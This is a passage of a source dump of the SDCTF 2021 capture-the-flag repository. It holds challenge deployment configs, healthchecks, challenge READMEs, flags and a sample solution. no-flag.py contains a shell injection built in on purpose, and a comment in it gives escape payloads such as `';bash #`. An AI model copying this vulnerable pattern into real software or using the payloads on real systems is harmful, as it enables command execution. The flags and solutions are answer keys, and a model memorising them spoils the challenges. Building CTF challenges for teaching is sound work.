network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/alternative-arithmetic-healthcheck:fbe26b03c30c2b2a16ff3b3cac1fe137ad708a6b08eb26cc702e19ba40cf64b0 14 | image: eu.gcr.io/sdctf-2021/alternative-arithmetic-challenge:20d3020768bbb71b868f5cd84a428ac07c147f64fec0fad7ebf37b434660ee5d 15 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/challenge/Challenge.java: -------------------------------------------------------------------------------- 1 | import java.io.IOException; 2 | 3 | @FunctionalInterface 4 | interface Challenge { 5 | /** 6 | * Runs the challenge. 7 | */ 8 | void run() throws IOException, InvalidInputException; 9 | } 10 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM openjdk:17-jdk-alpine as chroot 15 | 16 | RUN adduser -D -H -u 1000 user 17 | 18 | # COPY AlternativeArithmetic.class Challenge.class InvalidInputException.class /home/user/ 19 | COPY AlternativeArithmetic.java Challenge.java InvalidInputException.java /home/user/ 20 | WORKDIR /home/user 21 | RUN javac *.java 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | EXEC:"kctf_pow nsjail --config /home/user/nsjail.cfg -- /opt/openjdk-17/bin/java AlternativeArithmetic" 34 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/challenge/InvalidInputException.java: -------------------------------------------------------------------------------- 1 | class InvalidInputException extends Exception { 2 | 3 | /** 4 | * Exceptions are serializable 5 | */ 6 | private static final long serialVersionUID = 1L; 7 | } 8 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | cwd: "/home/user" 30 | 31 | mount: [ 32 | { 33 | src: "/chroot" 34 | dst: "/" 35 | is_bind: true 36 | } 37 | ] 38 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py sample-solution.txt /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | import pwnlib, os 4 | 5 | FLAG_1 = b"sdctf{JAVA_Ar1thm3tIc_15_WEirD}" 6 | FLAG_2 = b"sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}" 7 | 8 | with open(os.path.dirname(os.path.realpath(__file__)) + '/sample-solution.txt') as sf: 9 | solution = sf.read() 10 | 11 | r = pwnlib.tubes.remote.remote('localhost', 1337) 12 | r.send(solution) 13 | print('Solution sent') 14 | print(r.recvuntil(FLAG_1)) 15 | print('Flag 1 received') 16 | print(r.recvuntil(FLAG_2)) 17 | print('Flag 2 received') 18 | 19 | exit(0) 20 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /misc/alternative-arithmetic/healthcheck/sample-solution.txt: -------------------------------------------------------------------------------- 1 | -9223372036854775808 2 | -1 3 | 0 4 | 1e8 5 | 0.1 6 | 0.2 7 | 0.3 8 | Integer 9 | 1000000000 10 | 1000000000 11 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/Makefile: -------------------------------------------------------------------------------- 1 | WARNINGS = -Wall -Wextra -Wformat=2 -Wconversion -Wduplicated-cond -Wlogical-op -Wshift-overflow=2 -Wfloat-equal -Wshadow 2 | # Everything is statically linked to prevent environment variable LD_* attacks 3 | CFLAGS = $(WARNINGS) -static 4 | RUNDIR = challenge/run 5 | 6 | all: $(RUNDIR)/bin/cat $(RUNDIR)/bin/ls 7 | 8 | $(RUNDIR)/bin/cat: cat.c 9 | cc cat.c $(CFLAGS) -o $(RUNDIR)/bin/cat 10 | 11 | $(RUNDIR)/bin/ls: ls.c 12 | cc ls.c $(CFLAGS) -o $(RUNDIR)/bin/ls 13 | 14 | clean: 15 | rm -f $(RUNDIR)/bin/cat $(RUNDIR)/bin/ls 16 | 17 | .PHONY: all 18 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/README.md: -------------------------------------------------------------------------------- 1 | # No flag for you 2 | ## Misc - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | k3v1n | none | **LCF** from **Team LCF** | 36 | 450 | 6 | 7 | ### prompt 8 | Welcome to the most restrictive shell ever, with only 2 semi-functional non-shell commands. 9 | 10 | Connect via: 11 | `nc noflag.sdc.tf 1337` 12 | 13 | **attachments**: `Do not provide anything!` 14 | ### original specification 15 | Make a script that runs system() with a string rbash -c ' concatenated with user input and appended with '. Before doing so please restrict PATH. the path should only contain custom self written programs that runs confusing things (Ex. cat binary printing No flag for you for every file and ls that fools the user into thinking that a certain directory is empty when it is not) 16 | 17 | The participant must figure out that they are running in a restricted shell and that the vulnerability is shell injection (due to concatenation). The file is not provided to them 18 | 19 | **flag**: `sdctf{1t'5_7h3_sh3ll_1n_4_shEll}` 20 | ### writeups 21 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#No-flag-for-you 22 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/misc.md#no-flag-for-you 23 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/no-flag-for-you/ 24 | - https://github.com/anandrajaram21/CTFs/blob/main/SanDiegoCTF/misc/no-flag-for-you/writeup.md 25 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/misc/no-flag-for-you.md 26 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/cat.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define CAT_PATH "/bin/cat" 6 | #define README_PATH "README" 7 | 8 | int main(int argc, char const *argv[]) { 9 | if (argc == 2 && !strcmp(argv[1], README_PATH)) { 10 | return system(CAT_PATH " " README_PATH); 11 | } 12 | puts("No flag for you!"); 13 | return 0; 14 | } 15 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | name: no-flag-for-u 5 | spec: 6 | deployed: true 7 | powDifficultySeconds: 0 8 | network: 9 | public: true 10 | healthcheck: 11 | # TIP: disable the healthcheck during development 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/no-flag-for-u-healthcheck:cbd0b4db97c1132e077311196ce2d1ffe470643352a655e2bd550f33921fd6cc 14 | image: eu.gcr.io/sdctf-2021/no-flag-for-u-challenge:e6a2bc876422df84a461d43490f712435fd42abb7509be799b0bcf0de714b233 15 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/.gitignore: -------------------------------------------------------------------------------- 1 | run/bin/cat 2 | run/bin/ls 3 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN apt-get update -y && apt-get install -y python3 17 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 18 | 19 | COPY no-flag.py /home/user/ 20 | COPY run /home/user/run/ 21 | 22 | RUN chmod +x /home/user/no-flag.py 23 | 24 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 25 | 26 | COPY --from=chroot / /chroot 27 | 28 | COPY nsjail.cfg /home/user/ 29 | 30 | CMD kctf_setup && \ 31 | kctf_drop_privs \ 32 | socat \ 33 | TCP-LISTEN:1337,reuseaddr,fork \ 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/no-flag.py" 35 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/no-flag.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | import os, sys 3 | 4 | RBASH_PATH = '/bin/rbash' 5 | RUN_DIRECTORY = os.path.dirname(os.path.realpath(__file__)) + '/run' 6 | 7 | print('There is no flag here.') 8 | # Vulnerable to shell injection! 9 | # Sample escape (without ``) without check_quotes: `';bash #` 10 | # Sample escape (without ``) that passes check_quotes: `';bash -c 'bash` 11 | os.chdir(RUN_DIRECTORY) 12 | 13 | def check_quotes(ipt: str): 14 | quote_count_even = True 15 | for c in ipt: 16 | if c == "'": 17 | quote_count_even = not quote_count_even 18 | if not quote_count_even: 19 | # Give an error message telling participants that they are on the right track 20 | print("rbash: INTERNAL ERROR!") 21 | return False 22 | return True 23 | 24 | try: 25 | while True: 26 | ipt = input('rbash$ ') 27 | if check_quotes(ipt): 28 | os.system("PATH='{}/bin' {} --noprofile --norc -c '{}' 2>&1".format(RUN_DIRECTORY, RBASH_PATH, ipt)) 29 | except EOFError: 30 | pass 31 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/run/README: -------------------------------------------------------------------------------- 1 | Hahahahahaha! 2 | 3 | Welcome to the most restrictive shell ever. Don't even try to escape this. 4 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/run/bin/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/misc/no-flag-for-u/challenge/run/bin/.gitkeep -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/run/opt/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/misc/no-flag-for-u/challenge/run/opt/.gitkeep -------------------------------------------------------------------------------- /misc/no-flag-for-u/challenge/run/opt/flag-b01d7291b94feefa35e6.txt: -------------------------------------------------------------------------------- 1 | sdctf{1t'5_7h3_sh3ll_1n_4_shEll} 2 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/flag.txt: -------------------------------------------------------------------------------- 1 | ./challenge/run/opt/flag-b01d7291b94feefa35e6.txt -------------------------------------------------------------------------------- /misc/no-flag-for-u/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/ls.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #define LS_PATH "/bin/ls" 6 | 7 | void not_allowed(const char *prog_name) { 8 | fprintf(stderr, "%s: Permission denied\n", prog_name); 9 | exit(1); 10 | } 11 | 12 | int main(int argc, char const *argv[]) { 13 | if (argc == 1) { 14 | // puts("only program name"); // debug 15 | return system(LS_PATH); 16 | } else if (argc > 2) { 17 | // not implemented, fake a permission error 18 | not_allowed(argv[0]); 19 | } else { 20 | // puts("more than it"); // debug 21 | if (!strcmp(argv[1], "bin/") || !strcmp(argv[1], "bin")) { 22 | return system(LS_PATH " bin/"); 23 | } else if (!strcmp(argv[1], "opt/") || !strcmp(argv[1], "opt")) { 24 | // puts("faking it"); // debug 25 | // faked empty directory 26 | return 0; 27 | } else if (argv[1][0] == '-') { 28 | // seems like an option is provided 29 | not_allowed(argv[0]); 30 | } else { 31 | // Simulate fake permission denied output 32 | fprintf(stderr, "%s: cannot open directory '%s': Permission denied\n", argv[0], argv[1]); 33 | return 1; 34 | } 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /misc/no-flag-for-u/note.txt: -------------------------------------------------------------------------------- 1 | challenge/run/opt/.gitkeep is there just to confuse participants, tricking them into thinking that 2 | the directory is REALLY empty 3 | -------------------------------------------------------------------------------- /osint/this-flag-has-been-stolen/README.md: -------------------------------------------------------------------------------- 1 | # This flag has been stolen 2 | ## Osint - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | KNOXDEV | none | **Arson** from **Team RamenEmpire** | 108 | 88 | 6 | 7 | ### prompt 8 | We used to offer this flag for free on our official SDCTF website, but unfortunately hackers have stolen it. Sorry. 9 | 10 | ### original specification 11 | Requires the player to wayback the http://sdc.tf webpage find the flag. 12 | 13 | **flag**: `sdctf{Th3_L0$t_trE@$ur3_0f_th3_INt3rnEt}` 14 | ### writeups 15 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#This-flag-has-been-stolen 16 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/osint.md#this-flag-has-been-stolen 17 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/this-flag-has-been-stolen/ 18 | - https://github.com/anandrajaram21/CTFs/tree/main/SanDiegoCTF/osint/this-flag-has-been-stolen 19 | - https://github.com/Fl4gSm4sher/CTF-WriteUps/tree/main/San%20Diego%20CTF%202021/OSINT/This%20flag%20has%20been%20stolen 20 | - https://github.com/sociallyencrypted/SDCTF2021-Writeups#this-flag-has-been-stolen 21 | -------------------------------------------------------------------------------- /pwn/flagDropper/README.md: -------------------------------------------------------------------------------- 1 | # Flag dROPper 2 | ## Pwn - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | green beans | none | **zzz** from **Team Kalmarunionen** | 42 | 216 | 6 | 7 | ### prompt 8 | I heard that gadgets are very easy to find in C programs, so I coded my program in assembly to protect my program from hackers. 9 | 10 | Connect via: `nc dropper.sdc.tf 1337` 11 | 12 | **attachments**: `flag-dropper: The vulnerable binary` 13 | ### original specification 14 | A simple ROP exploit, but unlike the boring ROP exploit usable in any C program with minimal modification (That is, finding pop rdi; ret and overwrite the return address so that it points to that gadget) The code is written from nasm with no dependency on libc. Yet there is a "win function" that spawns a shell in the binary when it detects that its argument is a string like sdwin. 15 | 16 | **flag**: `sdctf{n1C3_C4tcH_bUd}` 17 | ### writeups 18 | - https://blackbeard666.github.io/pwn_exhibit/content/2021_CTF/sandiegoCTF/flagdropper.html 19 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/pwn/flag-dropper.md 20 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#flag-dropper 21 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/pwn.md#flag-dropper 22 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Flag-dROPper 23 | -------------------------------------------------------------------------------- /pwn/flagDropper/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: flag-dropper 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/flag-dropper-healthcheck:fbb1b8fa8f18b2a721953e7fb14b577bc38675c2c573cfde2f9eed50f0709270 14 | image: eu.gcr.io/sdctf-2021/flag-dropper-challenge:cd24f7c9b4e237717c0d87d58c2a1b8280014dc5bf01c5df7662904ee8d2f6c7 15 | -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | #change to your flag file name 19 | COPY flag.txt / 20 | #change to chal name 21 | COPY flagDropper /home/user/ 22 | 23 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 24 | 25 | COPY --from=chroot / /chroot 26 | 27 | COPY nsjail.cfg /home/user/ 28 | 29 | CMD kctf_setup && \ 30 | kctf_drop_privs \ 31 | socat \ 32 | TCP-LISTEN:1337,reuseaddr,fork \ 33 | #change to your challenge name 34 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/flagDropper" 35 | -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/Makefile: -------------------------------------------------------------------------------- 1 | flagDropper: flagDropper.o 2 | gcc -no-pie -o flagDropper flagDropper.o 3 | 4 | flagDropper.o: flagDropper.asm 5 | nasm -f elf64 flagDropper.asm 6 | 7 | -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/flag: -------------------------------------------------------------------------------- 1 | CTF{TestFlag} -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{n1C3_C4tcH_bUd} 2 | -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/flagDropper: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/pwn/flagDropper/challenge/flagDropper -------------------------------------------------------------------------------- /pwn/flagDropper/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /pwn/flagDropper/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 